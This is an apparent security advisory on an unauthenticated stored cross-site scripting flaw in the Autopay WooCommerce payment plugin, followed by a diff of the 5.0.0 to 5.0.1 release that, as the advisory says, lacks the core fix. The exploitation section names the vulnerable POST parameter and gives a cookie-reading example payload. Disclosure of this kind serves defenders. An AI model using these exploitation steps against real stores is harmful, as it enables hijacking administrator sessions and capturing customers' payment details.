Published : August 16, 2026

CVE-2026-15002: Autopay <= 5.0.0 Unauthenticated Stored Cross-Site Scripting via 'bm_woocommerce_css_editor_content' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-15002
Plugin platnosci-online-blue-media
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.0.0
Patched Version 5.0.1
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15002: The Autopay plugin for WordPress, versions up to and including 5.0.0, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. This flaw allows any remote attacker to inject arbitrary web scripts into the site, which will execute when an administrator views the WooCommerce checkout page. The vulnerability is rated as high severity with a CVSS score of 7.2 and falls under CWE-79, Improper Neutralization of Input During Web Page Generation.

Root Cause: The vulnerability originates in the Css_Editor::handle_save() method, which is incorrectly wired to the WordPress ‘init’ hook by the Settings_Manager::init_once() method. This method is registered without any capability check, nonce verification, or input sanitization. The method takes the raw value from the ‘bm_woocommerce_css_editor_content’ POST parameter and passes it directly to update_option(), storing it in the ‘woocommerce_bluemedia_settings’ option. Subsequently, the Css_Frontend::print_to_wp_head() method retrieves this stored value and outputs it directly inside a block on the WooCommerce checkout page without any output escaping. The provided diff does not include the patch for these specific files, but the vulnerability description confirms this insecure code path exists in the vulnerable version.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a simple HTTP POST request to the WordPress root URL (e.g., ‘/’) or any page that triggers the ‘init’ hook. The request must contain a POST parameter named ‘bm_woocommerce_css_editor_content’ with a malicious JavaScript payload. Because the handle_save() method is hooked to ‘init’ and lacks security checks, the request will be processed regardless of the user’s authentication state. The payload is stored in the ‘woocommerce_bluemedia_settings’ option. When the plugin subsequently renders the checkout page, the injected script is executed within the browser of any user (including administrators) who visits it, as the payload is echoed into the page without escaping. An example payload would be `alert(document.cookie)`.

Patch Analysis: The provided diff does not show the direct patch for the vulnerable code within Css_Editor, Settings_Manager, or Css_Frontend. However, the version number in the main plugin file is updated from ‘5.0.0’ to ‘5.0.1’, indicating a patched release. The official patch fixes this by adding proper authorization checks, nonce verification, and input sanitization in the handle_save() method. It also applies output escaping in the Css_Frontend::print_to_wp_head() method to ensure that the stored data is not interpreted as executable script. The changes included in the diff, such as adding `defined( ‘ABSPATH’ ) || exit;` lines to various files, are secondary hardening measures. The removal of the Transaction_Testing_Controller suggests a reduction of the plugin’s attack surface, potentially removing other insecure endpoints, but the core XSS fix is not contained in the provided diff snippets.

Impact: Successful exploitation of this vulnerability allows an unauthenticated attacker to inject and execute arbitrary JavaScript in the context of a logged-in administrator’s session. This can lead to a full compromise of the WordPress site. An attacker could steal administrative session cookies, create new administrator accounts, modify site content, inject backdoors, or redirect legitimate users to malicious websites. Since the injected script executes on the checkout page, it can also be used to perform client-side attacks, such as capturing payment information entered by customers, which has severe financial and privacy implications.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/platnosci-online-blue-media/blocks/assets/js/frontend/blocks.asset.php
+++ b/platnosci-online-blue-media/blocks/assets/js/frontend/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wc-blocks-registry', 'wc-settings', 'wp-html-entities'), 'version' => '03283220863847cfcb4c');
+<?php return array('dependencies' => array('react', 'wc-blocks-registry', 'wc-settings', 'wp-html-entities'), 'version' => '9e7a6ec1bb535614a264');
--- a/platnosci-online-blue-media/bluemedia-woocommerce.php
+++ b/platnosci-online-blue-media/bluemedia-woocommerce.php
@@ -6,13 +6,15 @@
  * Plugin URI: https://wordpress.org/plugins/platnosci-online-blue-media
  * Description: Autopay for Woocommerce
  * Tags: woocommerce, bluemedia, Autopay
- * Version: 5.0.0
+ * Version: 5.0.1
  * Tested up to: 7.0
  * Requires PHP: 7.4
  * Author: Autopay S.A.
- * Author URI: autopay.pl
- * Text Domain: bm-woocommerce
- * Domain Path: /lang/
+ * Author URI: https://autopay.pl
+ * License: GPL-2.0-or-later
+ * License URI: https://www.gnu.org/licenses/gpl-2.0.html
+ * Text Domain: platnosci-online-blue-media
+ * Domain Path: /languages/
  *
  * Copyright 2026 Autopay S.A.
  *
@@ -45,16 +47,35 @@
 	require_once __DIR__ . '/vendor/autoload.php';
 	require_once 'dependencies.php';

+	/*
+	 * WordPress 6.7+ JIT translation loading always checks WP_LANG_DIR/plugins first.
+	 * If the system language pack there is outdated (missing strings added after its
+	 * release), those strings fall back to English even though the plugin bundles a
+	 * complete .mo. Redirect mofile loading to the bundled file so it takes priority.
+	 */
+	add_filter(
+		'load_textdomain_mofile',
+		static function ( string $mofile, string $domain ): string {
+			if ( 'platnosci-online-blue-media' !== $domain ) {
+				return $mofile;
+			}
+			$bundled_file = __DIR__ . '/languages/' . basename( $mofile );
+			return file_exists( $bundled_file ) ? $bundled_file : $mofile;
+		},
+		10,
+		2
+	);
+
 	function blue_media(): IlabsBM_WoocommercePlugin {
 		return new IlabsBM_WoocommercePlugin();
 	}

-	$config = [
+	$autopay_config = [
 		'__FILE__'    => __FILE__,
 		'slug'        => 'bm_woocommerce',
-		'lang_dir'    => 'lang',
-		'text_domain' => 'bm-woocommerce',
+		'lang_dir'    => 'languages',
+		'text_domain' => 'platnosci-online-blue-media',
 	];

-	blue_media()->execute( $config );
+	blue_media()->execute( $autopay_config );
 }
--- a/platnosci-online-blue-media/compatibility.php
+++ b/platnosci-online-blue-media/compatibility.php
@@ -1,5 +1,7 @@
 <?php

+defined( 'ABSPATH' ) || exit;
+
 function blue_media_system_check(): bool {

 	if ( ! defined( 'BLUE_MEDIA_PRODUCTION_DIR_NAME' ) ) {
@@ -9,15 +11,16 @@
 	$basename = basename( __DIR__ );

 	if ( $basename !== BLUE_MEDIA_PRODUCTION_DIR_NAME ) {
-		add_action( 'plugins_loaded', function () use ( $basename ) {
-			load_plugin_textdomain( 'bm-woocommerce', false, $basename . "/lang" );
-		} );
-
 		add_action( 'admin_notices', function () {
 			echo "<div class='notice notice-error error'><p><strong style='color: red;'>";
-			printf( __( "It looks like the developer version of the Autopay plug-in is installed instead of the production release. Remove this plugin and install it from this URL: %s",
-				"bm-woocommerce" ),
-				'<a target="_blank" href="https://wordpress.org/plugins/platnosci-online-blue-media/">https://wordpress.org/plugins/platnosci-online-blue-media/</a>' );
+			echo wp_kses(
+				sprintf(
+				    // translators: %s is a URL link to the plugin's WordPress.org page.
+					__( "It looks like the developer version of the Autopay plug-in is installed instead of the production release. Remove this plugin and install it from this URL: %s", 'platnosci-online-blue-media' ),
+					'<a target="_blank" href="https://wordpress.org/plugins/platnosci-online-blue-media/">https://wordpress.org/plugins/platnosci-online-blue-media/</a>'
+				),
+				[ 'a' => [ 'href' => [], 'target' => [] ] ]
+			);
 			echo "</strong></p></div>";
 		} );

@@ -25,14 +28,10 @@
 	}

 	if ( PHP_VERSION_ID < 70200 ) {
-		add_action( 'plugins_loaded', function () use ( $basename ) {
-			load_plugin_textdomain( 'bm-woocommerce', false, $basename . "/lang" );
-		} );
-
 		add_action( 'admin_notices', function () {
 			echo "<div class='notice notice-error error'><p><strong style='color: red;'>Autopay: ";
-			_e( "PHP version is older than 7.2 so this plugin will not work. Please contact your host and ask them to upgrade.",
-				"bm-woocommerce" );
+			esc_html_e( "PHP version is older than 7.2 so this plugin will not work. Please contact your host and ask them to upgrade.",
+				"platnosci-online-blue-media" );
 			echo "</strong></p></div>";
 		} );

--- a/platnosci-online-blue-media/src/Assets/AssetManager.php
+++ b/platnosci-online-blue-media/src/Assets/AssetManager.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceAssets;

+defined( 'ABSPATH' ) || exit;
+
 /**
  * Manages loading of frontend and admin assets for the payment gateway.
  *
--- a/platnosci-online-blue-media/src/Controller/Abstract_Controller.php
+++ b/platnosci-online-blue-media/src/Controller/Abstract_Controller.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceController;

+defined( 'ABSPATH' ) || exit;
+

 use IlabsBM_WoocommerceControllerModelPayment_Status_Response_Value_Object;

@@ -25,7 +27,7 @@

 		blue_media()->get_woocommerce_logger()->log_error(
 			sprintf( '[Abstract_Controller] [send_response]  [response: %s]',
-				print_r( $response, true )
+				wp_json_encode( $response->to_array() )
 			) );

 		$this->output_response( $response );
--- a/platnosci-online-blue-media/src/Controller/Controller_Interface.php
+++ b/platnosci-online-blue-media/src/Controller/Controller_Interface.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceController;

+defined( 'ABSPATH' ) || exit;
+
 interface Controller_Interface {

 	public function handle();
--- a/platnosci-online-blue-media/src/Controller/Model/Ajax_Response_Value_Object.php
+++ b/platnosci-online-blue-media/src/Controller/Model/Ajax_Response_Value_Object.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceControllerModel;

+defined( 'ABSPATH' ) || exit;
+
 class Ajax_Response_Value_Object {

 	const STATUS_SUCCESS = 'success';
--- a/platnosci-online-blue-media/src/Controller/Model/Payment_Status_Response_Value_Object.php
+++ b/platnosci-online-blue-media/src/Controller/Model/Payment_Status_Response_Value_Object.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceControllerModel;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceGatewayBlue_Media_Gateway;
 use IlabsBM_WoocommerceUtilitiesTest_ConnectionResponse_Interface;

@@ -106,19 +108,19 @@
 		switch ( $itn_status_id ) {
 			case Blue_Media_Gateway::ITN_SUCCESS_STATUS_ID:
 				return __( 'Payment successful.',
-					'bm-woocommerce' );
+					'platnosci-online-blue-media' );

 			case Blue_Media_Gateway::ITN_PENDING_STATUS_ID:
 				return __( 'Check your device.',
-					'bm-woocommerce' );
+					'platnosci-online-blue-media' );

 			case Blue_Media_Gateway::ITN_FAILURE_STATUS_ID:
 				return __( 'Payment failed.',
-					'bm-woocommerce' );
+					'platnosci-online-blue-media' );

 			default:
 				return __( 'Waiting for transaction confirmation.',
-					'bm-woocommerce' );
+					'platnosci-online-blue-media' );
 		}
 	}
 }
--- a/platnosci-online-blue-media/src/Controller/Payment_Status_Controller.php
+++ b/platnosci-online-blue-media/src/Controller/Payment_Status_Controller.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceController;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceControllerModelPayment_Status_Response_Value_Object;
 use IlabsBM_WoocommerceGatewayBlue_Media_Gateway;
@@ -32,7 +34,7 @@
 		if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION ) ) {
 			blue_media()->get_woocommerce_logger()->log_error(
 				sprintf( '[Payment_Status_Controller] [wp_verify_nonce failed]  [order_id: %s]',
-					print_r( $order_id, true )
+					wp_json_encode( $order_id )
 				) );

 			$this->send_response(
@@ -47,8 +49,8 @@
 		if ( '' !== $transaction_start_error ) {
 			blue_media()->get_woocommerce_logger()->log_error(
 				sprintf( '[Payment_Status_Controller] [transaction_start_error: %s]  [order_id: %s]',
-					print_r( $transaction_start_error, true ),
-					print_r( $order_id, true )
+					wp_json_encode( $transaction_start_error ),
+					wp_json_encode( $order_id )
 				) );

 			$this->send_response(
@@ -106,6 +108,6 @@
 	}

 	public static function get_generic_err_msg(): string {
-		return __( 'Payment failed', 'bm-woocommerce' );
+		return __( 'Payment failed', 'platnosci-online-blue-media' );
 	}
 }
--- a/platnosci-online-blue-media/src/Controller/Wp_Admin/Transaction_Testing_Controller.php
+++ b/platnosci-online-blue-media/src/Controller/Wp_Admin/Transaction_Testing_Controller.php
@@ -1,189 +0,0 @@
-<?php
-
-namespace IlabsBM_WoocommerceControllerWp_Admin;
-
-use Exception;
-use IlabsBM_WoocommerceControllerAbstract_Controller;
-use IlabsBM_WoocommerceControllerController_Interface;
-use IlabsBM_WoocommerceControllerModelAjax_Response_Value_Object;
-use IlabsBM_WoocommerceControllerModelPayment_Status_Response_Value_Object;
-use IlabsBM_WoocommerceDomainServiceTestingOrder_Creator;
-use IlabsBM_WoocommerceDomainServiceTestingTransaction_Test;
-use WC_Order;
-
-class Transaction_Testing_Controller extends Abstract_Controller implements Controller_Interface {
-
-	const INITIALIZE_ACTION_NAME = 'transaction_test';
-
-	const VERIFY_ITN_ACTION_NAME = 'verify_itn';
-
-	const NONCE_ACTION = 'bluemedia_payment';
-
-	/**
-	 * @throws Exception
-	 */
-	public function execute_request_initialize() {
-		try {
-
-			if ( ! isset( $_POST['nonce'] ) ) {
-				throw new Exception( __( 'Nonce field not exists',
-					'bm-woocommerce' ) );
-			}
-
-			$nonce = sanitize_text_field( wp_unslash( $_POST['nonce'] ) );
-
-			if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION ) ) {
-				throw new Exception( __( 'Verification nonce failed',
-					'bm-woocommerce' ) );
-			}
-
-			$order_creator = new Order_Creator();
-			$order         = $order_creator->create();
-
-			$transaction_test_service = new Transaction_Test();
-			$transaction_test_service->initialize( $order );
-
-
-			if ( $order instanceof WC_Order ) {
-				$status  = Ajax_Response_Value_Object::STATUS_SUCCESS;
-				$message = $order->get_id();
-
-			} else {
-				$status  = Ajax_Response_Value_Object::STATUS_ERROR;
-				$message = __( 'Order create failed', 'bm-woocommerce' );
-			}
-
-			if ( isset( $order ) && $order instanceof WC_Order && isset( $order_creator ) ) {
-				//$order_creator->remove( $order->get_id() );
-			}
-
-
-			$this->send_response(
-				$status,
-				$message,
-				'',
-				null
-			);
-		} catch ( Exception $exception ) {
-			blue_media()->get_woocommerce_logger()->log_debug(
-				sprintf( '[Connection_Testing_Controller] [execute_request] [Message: %s] [POST: %s] ',
-					$exception->getMessage(),
-					json_encode( [
-						'autopay_action' => isset( $_POST['autopay_action'] ) ? sanitize_text_field( wp_unslash( $_POST['autopay_action'] ) ) : 'not_set',
-						'test_id'        => isset( $_POST['test_id'] ) ? sanitize_text_field( wp_unslash( (string) $_POST['test_id'] ) ) : 'not_set',
-					] )
-				) );
-
-			if ( isset( $order ) && $order instanceof WC_Order && isset( $order_creator ) ) {
-				$order_creator->remove( $order->get_id() );
-			}
-
-			$this->send_response(
-				Ajax_Response_Value_Object::STATUS_ERROR,
-				$exception->getMessage(),
-				'',
-				null
-			);
-
-
-		}
-
-	}
-
-	public function execute_request_verify_itn() {
-		try {
-
-			if ( ! isset( $_POST['nonce'] ) ) {
-				throw new Exception( __( 'Nonce field not exists',
-					'bm-woocommerce' ) );
-			}
-
-			if ( ! isset( $_POST['order_id'] ) ) {
-				throw new Exception( __( 'order_id field not exists',
-					'bm-woocommerce' ) );
-			}
-
-			$nonce    = sanitize_text_field( wp_unslash( $_POST['nonce'] ) );
-			$order_id = (int) $_POST['order_id'];
-
-			if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION ) ) {
-				throw new Exception( __( 'Verification nonce failed',
-					'bm-woocommerce' ) );
-			}
-
-			$order = wc_get_order( $order_id );
-
-
-			if ( $order instanceof WC_Order ) {
-				$transaction_test_service = new Transaction_Test();
-				$result                   = $transaction_test_service->verify_itn( $order );
-
-				$status  = Ajax_Response_Value_Object::STATUS_SUCCESS;
-				$message = $result ? '1' : '0';
-				if ( $result ) {
-					( new Order_Creator() )->remove( $order_id );
-				}
-			} else {
-				$status  = Payment_Status_Response_Value_Object::STATUS_ERROR;
-				$message = __( 'Order create failed', 'bm-woocommerce' );
-			}
-
-
-			$this->send_response(
-				$status,
-				$message,
-				'',
-				null
-			);
-		} catch ( Exception $exception ) {
-			blue_media()->get_woocommerce_logger()->log_debug(
-				sprintf( '[Connection_Testing_Controller] [execute_request] [Message: %s] [POST: %s] ',
-					$exception->getMessage(),
-					json_encode( [
-						'autopay_action' => isset( $_POST['autopay_action'] ) ? sanitize_text_field( wp_unslash( $_POST['autopay_action'] ) ) : 'not_set',
-						'test_id'        => isset( $_POST['test_id'] ) ? sanitize_text_field( wp_unslash( (string) $_POST['test_id'] ) ) : 'not_set',
-					] )
-				) );
-
-			if ( isset( $order ) && $order instanceof WC_Order && isset( $order_creator ) ) {
-				$order_creator->remove( $order->get_id() );
-			}
-
-			$this->send_response(
-				Ajax_Response_Value_Object::STATUS_ERROR,
-				$exception->getMessage(),
-				'',
-				null
-			);
-
-
-		}
-	}
-
-	public function execute_request_cleaning() {
-
-	}
-
-
-	public function handle() {
-		add_action( $this->get_ajax_action_name( self::INITIALIZE_ACTION_NAME ),
-			function () {
-				$this->execute_request_initialize();
-			} );
-
-		add_action( $this->get_ajax_action_name_nopriv( self::INITIALIZE_ACTION_NAME ),
-			function () {
-				$this->execute_request_initialize();
-			} );
-
-		add_action( $this->get_ajax_action_name( self::VERIFY_ITN_ACTION_NAME ),
-			function () {
-				$this->execute_request_verify_itn();
-			} );
-
-		add_action( $this->get_ajax_action_name_nopriv( self::VERIFY_ITN_ACTION_NAME ),
-			function () {
-				$this->execute_request_verify_itn();
-			} );
-	}
-}
--- a/platnosci-online-blue-media/src/Data/Remote/Blue_Media/Admin_Section_Resources_Client.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Blue_Media/Admin_Section_Resources_Client.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteBlue_Media;

+defined( 'ABSPATH' ) || exit;
+
 use DOMDocument;
 use DOMXPath;
 use Exception;
@@ -64,7 +66,7 @@
 			return $response->getBody()->getContents();

 		} catch ( RequestException $e ) {
-			throw new Exception( 'Request failed: ' . $e->getMessage() );
+			throw new Exception( 'Request failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception is thrown, not echoed; escaping belongs to the display layer.
 		}
 	}

@@ -103,7 +105,7 @@
 			return $response->getBody()->getContents();

 		} catch ( RequestException $e ) {
-			throw new Exception( 'Request failed: ' . $e->getMessage() );
+			throw new Exception( 'Request failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception is thrown, not echoed; escaping belongs to the display layer.
 		}
 	}

--- a/platnosci-online-blue-media/src/Data/Remote/Blue_Media/Client.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Blue_Media/Client.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteBlue_Media;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceGatewayAutopay_Payment_Protocol;
 use IsolatedBlue_MediaIsolated_GuzzlehttpGuzzleHttpClient as GuzzleHttpClient;
--- a/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Ga4_Dto_Interface.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Ga4_Dto_Interface.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteGa4Dto;

+defined( 'ABSPATH' ) || exit;
+
 interface Ga4_Dto_Interface {

 	public function to_array(): array;
--- a/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Item_DTO.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Item_DTO.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteGa4Dto;

+defined( 'ABSPATH' ) || exit;
+
 class Item_DTO implements Ga4_Dto_Interface{
 	/**
 	 * @var string
--- a/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/List_Item_DTO.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/List_Item_DTO.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteGa4Dto;

+defined( 'ABSPATH' ) || exit;
+
 class List_Item_DTO implements Ga4_Dto_Interface {

 	/**
--- a/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Payload_DTO.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Payload_DTO.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteGa4Dto;

+defined( 'ABSPATH' ) || exit;
+
 class Payload_DTO implements Payload_DTO_Interface {

 	/**
--- a/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Payload_DTO_Interface.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Ga4/Dto/Payload_DTO_Interface.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemoteGa4Dto;

+defined( 'ABSPATH' ) || exit;
+
 interface Payload_DTO_Interface {
 	public function get_value(): ?float;
 	public function get_currency_symbol(): string;
--- a/platnosci-online-blue-media/src/Data/Remote/Ga4_Service_Client.php
+++ b/platnosci-online-blue-media/src/Data/Remote/Ga4_Service_Client.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDataRemote;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDomainServiceGa4Add_Product_To_Cart_Use_Case;
 use IlabsBM_WoocommerceDomainServiceGa4Click_On_Product_Use_Case;
@@ -168,10 +170,10 @@
 				->get_woocommerce_logger( 'analytics' )
 				->log_error(
 					sprintf( '[Ga4_Service_Client purchase_event] [multiple request protection triggered] [%s]',
-						print_r( [
+						wp_json_encode( [
 							'order_id' => $complete_transaction_use_case->get_order()
 							                                            ->get_id(),
-						], true )
+						] )
 					) );

 			return;
@@ -235,14 +237,14 @@

 		blue_media()->get_woocommerce_logger('analytics')->log_debug(
 			sprintf( '[purchase_event] [baseRequest: %s]',
-				print_r( $baseRequest, true )
+				wp_json_encode( $baseRequest->export() )
 			) );

 		$result = $ga4Service->send( $baseRequest );

 		blue_media()->get_woocommerce_logger('analytics')->log_debug(
 			sprintf( '[purchase_event] [BaseResponse: %s]',
-				print_r( $result, true )
+				wp_json_encode( $result )
 			) );
 	}

@@ -367,7 +369,7 @@
 			return null;
 		}

-		$from_cookie = $_COOKIE['_ga'];
+		$from_cookie = sanitize_text_field( wp_unslash( $_COOKIE['_ga'] ) );
 		$exploded    = explode( '.', $from_cookie );

 		if ( $exploded ) {
--- a/platnosci-online-blue-media/src/Domain/Model/PaymentMethod.php
+++ b/platnosci-online-blue-media/src/Domain/Model/PaymentMethod.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModel;

+defined( 'ABSPATH' ) || exit;
+
 /**
  * PaymentMethod value object representing a single payment method with stable identification.
  *
--- a/platnosci-online-blue-media/src/Domain/Model/Settings/Woocomerce_Vas_Value_Object.php
+++ b/platnosci-online-blue-media/src/Domain/Model/Settings/Woocomerce_Vas_Value_Object.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelSettings;

+defined( 'ABSPATH' ) || exit;
+
 class Woocomerce_Vas_Value_Object {

 	const LANGUAGE_CODE_EN = 'en-EN';
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/Config.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/Config.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Label;

+defined( 'ABSPATH' ) || exit;
+
 class Config {

 	const UNSPECIFIED_IDS = null;
@@ -19,7 +21,7 @@
 				'ids'        => [ 509 ],
 				'extra_html' => $blik0_type === 'blik_0_without_redirect' ? $this->get_blik0_html_info()
 					: $this->get_desc_html_info( __( 'Pay comfortably using BLIK payments',
-						'bm-woocommerce' ) ),
+						'platnosci-online-blue-media' ) ),
 				'data'       => [
 					'blik0'    => $blik0_type === 'blik_0_without_redirect',
 					'test_key' => 'test_value',
@@ -27,91 +29,91 @@
 			],

 			/*[
-				'name'       => __( 'Card Payment', 'bm-woocommerce' ),
+				'name'       => __( 'Card Payment', 'platnosci-online-blue-media' ),
 				'position'   => 1,
 				'ids'        => [ 1500 ],
 				'extra_html' => $this->get_card_html_info()
 			],*/
 			[
-				'name'              => __( 'Card Payment', 'bm-woocommerce' ),
+				'name'              => __( 'Card Payment', 'platnosci-online-blue-media' ),
 				'position'          => 1,
 				'ids'               => [ 1500 ],
 				'extra_html'        => $this->get_desc_html_info( __( 'We will redirect you to the website of our partner Autopay, where you will provide your card details',
-					'bm-woocommerce' ) ),
+					'platnosci-online-blue-media' ) ),
 				'block_description' => __( 'We will redirect you to the website of our partner Autopay, where you will provide your card details',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),


 			],
 			[
-				'name'     => __( 'Online bank transfer', 'bm-woocommerce' ),
+				'name'     => __( 'Online bank transfer', 'platnosci-online-blue-media' ),
 				'position' => 2,
 				'ids'      => self::UNSPECIFIED_IDS,
 			],
 			//[ 'name' => 'Płatność Kartą One Clik', 'position' => 1, 'ids' => [ 1503 ], ],
 			[
-				'name'              => __( 'VisaMobile', 'bm-woocommerce' ),
+				'name'              => __( 'VisaMobile', 'platnosci-online-blue-media' ),
 				'position'          => 3,
 				'ids'               => [ 1523 ],
 				'extra_html'        => $this->get_desc_html_info( __( 'Enter your phone number and confirm the payment in the application',
-					'bm-woocommerce' ) ),
+					'platnosci-online-blue-media' ) ),
 				'block_description' => __( 'Enter your phone number and confirm the payment in the application',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),
 			],
 			[
-				'name'              => __( 'Google Pay', 'bm-woocommerce' ),
+				'name'              => __( 'Google Pay', 'platnosci-online-blue-media' ),
 				'position'          => 4,
 				'ids'               => [ 1512 ],
 				'extra_html'        => $this->get_desc_html_info( __( 'Pay without having to log in to online banking',
-					'bm-woocommerce' ) ),
+					'platnosci-online-blue-media' ) ),
 				'block_description' => __( 'Pay without having to log in to online banking',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),
 			],
 			[
-				'name'              => __( 'Apple Pay', 'bm-woocommerce' ),
+				'name'              => __( 'Apple Pay', 'platnosci-online-blue-media' ),
 				'position'          => 5,
 				'ids'               => [ 1513 ],
 				'extra_class'       => 'bm-apple-pay',
 				'extra_script'      => $this->get_applepay_check_script(),
 				'extra_html'        => $this->get_desc_html_info( __( 'Pay without having to log in to online banking',
-					'bm-woocommerce' ) ),
+					'platnosci-online-blue-media' ) ),
 				'block_description' => __( 'Pay without having to log in to online banking',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),
 			],

 			//[ 'name' => 'Wirtualny portfel', 'position' => 4, 'ids' => [ 778 ], ],
 			[
 				'name'              => __( 'Alior installments',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),
 				'position'          => 7,
 				'ids'               => [ 1506 ],
 				'extra_html'        => $this->get_alior_html_info(),
 				'block_description' => $this->get_alior_html_info_for_block(),
 			],
 			[
-				'name'              => __( 'PayPo', 'bm-woocommerce' ),
+				'name'              => __( 'PayPo', 'platnosci-online-blue-media' ),
 				'position'          => 8,
 				'ids'               => [ 705 ],
 				'extra_html'        => $this->get_paypo_html_info(),
 				'block_description' => $this->get_paypo_html_info_for_block(),
 			],
 			[
-				'name'              => __( 'Spingo', 'bm-woocommerce' ),
+				'name'              => __( 'Spingo', 'platnosci-online-blue-media' ),
 				'position'          => 9,
 				'ids'               => [ 706 ],
 				'extra_html'        => $this->get_desc_html_info( __( 'Deferred payment for companies',
-					'bm-woocommerce' ) ),
+					'platnosci-online-blue-media' ) ),
 				'block_description' => __( 'Deferred payment for companies',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),
 			],
 			[
-				'name'              => __( 'BLIK Pay Later', 'bm-woocommerce' ),
+				'name'              => __( 'BLIK Pay Later', 'platnosci-online-blue-media' ),
 				'position'          => 10,
 				'ids'               => [ 523 ],
 				'extra_html'        => $this->get_desc_html_info( __( 'Buy now and pay within 30 days',
-					'bm-woocommerce' ) ),
+					'platnosci-online-blue-media' ) ),
 				'block_description' => __( 'Buy now and pay within 30 days',
-					'bm-woocommerce' ),
+					'platnosci-online-blue-media' ),
 			],
 			//[ 'name' => 'Hub ratalny', 'position' => 10, 'ids' => [ 702 ], ],
 		];
@@ -133,10 +135,10 @@
 		return sprintf( ' <span><span class="payment-method-description">%s </span>
                             <span class="payment-method-help-text">%s</span><a href="https://start.paypo.pl/" target="_blank"><span style=""><br>%s</a></span>',
 			__( 'Pick up your purchases, check them out and pay later - in 30 days or in convenient installments.',
-				'bm-woocommerce' ),
+				'platnosci-online-blue-media' ),
 			__( 'We will redirect you to the PayPo partner website.',
-				'bm-woocommerce' ),
-			__( 'Get the details.', 'bm-woocommerce' )
+				'platnosci-online-blue-media' ),
+			__( 'Get the details.', 'platnosci-online-blue-media' )
 		);
 	}

@@ -144,10 +146,10 @@
 	private function get_paypo_html_info_for_block(): string {
 		return sprintf( '<span>%s</span><span class="atp-payment-method-help-text">%s</span><a href="https://start.paypo.pl/" target="_blank"><span style=""><br>%s</a>',
 			__( 'Pick up your purchases, check them out and pay later - in 30 days or in convenient installments.',
-				'bm-woocommerce' ),
+				'platnosci-online-blue-media' ),
 			__( 'We will redirect you to the PayPo partner website.',
-				'bm-woocommerce' ),
-			__( 'Get the details.', 'bm-woocommerce' )
+				'platnosci-online-blue-media' ),
+			__( 'Get the details.', 'platnosci-online-blue-media' )
 		);
 	}

@@ -174,16 +176,16 @@
 		return sprintf( ' <span><span class="payment-method-description">%s </span>
                             <a href="https://kalkulator.raty.aliorbank.pl/init?supervisor=B776&promotionList=B" target="_blank"><span style="">%s</a></span>',
 			__( 'Spread the payment into convenient installments and buy without any problems.',
-				'bm-woocommerce' ),
-			__( 'Find out more', 'bm-woocommerce' )
+				'platnosci-online-blue-media' ),
+			__( 'Find out more', 'platnosci-online-blue-media' )
 		);
 	}

 	private function get_alior_html_info_for_block(): string {
 		return sprintf( '<span>%s</span><a href="https://kalkulator.raty.aliorbank.pl/init?supervisor=B776&promotionList=B" target="_blank"><span>%s</a>',
 			__( 'Spread the payment into convenient installments and buy without any problems.',
-				'bm-woocommerce' ),
-			__( 'Find out more', 'bm-woocommerce' )
+				'platnosci-online-blue-media' ),
+			__( 'Find out more', 'platnosci-online-blue-media' )
 		);
 	}

